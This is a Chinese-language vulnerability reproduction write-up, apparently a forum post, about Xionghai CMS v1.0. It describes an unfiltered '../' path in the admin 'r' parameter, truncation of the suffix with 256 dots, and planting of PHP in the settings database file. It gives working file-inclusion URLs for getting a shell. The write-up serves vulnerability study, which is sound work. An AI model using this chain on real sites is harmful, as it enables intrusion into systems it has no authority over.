本漏洞复现环境:phpstudy2018(只要数据库文件与网站目录处于同一磁盘下就可以getshell)
熊海cms
熊海cms文件包含getshell漏洞分析
1、xhcms_v1.0/admin/index.php
可以看出参数r经过了一系列的过滤,但是只是针对单引号、双引号、反斜杠(\),而对文件包含所用到的../ 没有任何的过滤,所以考虑文件包含漏洞。
2、截断文件的php后缀
Windows的路径不能超过256个字符,那我们可以考虑构造一个特殊的长文件名进行截断,可以考虑使用 . 来截断,因为点最后会被windows处理掉,只会保留前面的扩展名。
在根目录下创建shell.txt 内容为:<?php phpinfo();?>
然后访问如下构造的url
http://127.0.0.1/2/xhcms_v1.0/admin/?r=../../shell.txt................................................................................................................................................................................................................................................................
后面一共有256个点,通过这256个点成功的截断了后面的php后缀(因为目录在files下面所以要用两个../)
所以此处的文件包含漏洞存在。
3、结合文件包含getshell
因为后台文件上传的功能损坏,所以考虑在数据库的文件里面插入一句话php语句。
进入后台--à设置--à基本设置
在每一行中插入<?php phpinfo();?>
点击保存。
这样就会把php语句插入到phpstudy的数据库的文件之中,路径如下:
D:\phpstudy\PHPTutorial\MySQL\data\xhcms\settings.MYD
此文件的保存这以Unicode编码过的基本设置的信息,所以phpinfo可以不经过编码直接插入进去。
然后利用上面的文件包含漏洞进行getshell。
http://127.0.0.1/2/xhcms_v1.0/admin/?r=../../../../../MySQL/data/xhcms/settings.MYD............................................................................................................................................................................................................................................................................................................................................................
成功的实现文件包含漏洞。
此cms多处存在sql注入,所以配合SQL注入得到它的数据库名称也就是它的数据库路径名称,并且一般的路径是默认的路径,所以多次尝试可以得到他的文件的路径。
- 通过
- 未通过
0 投票者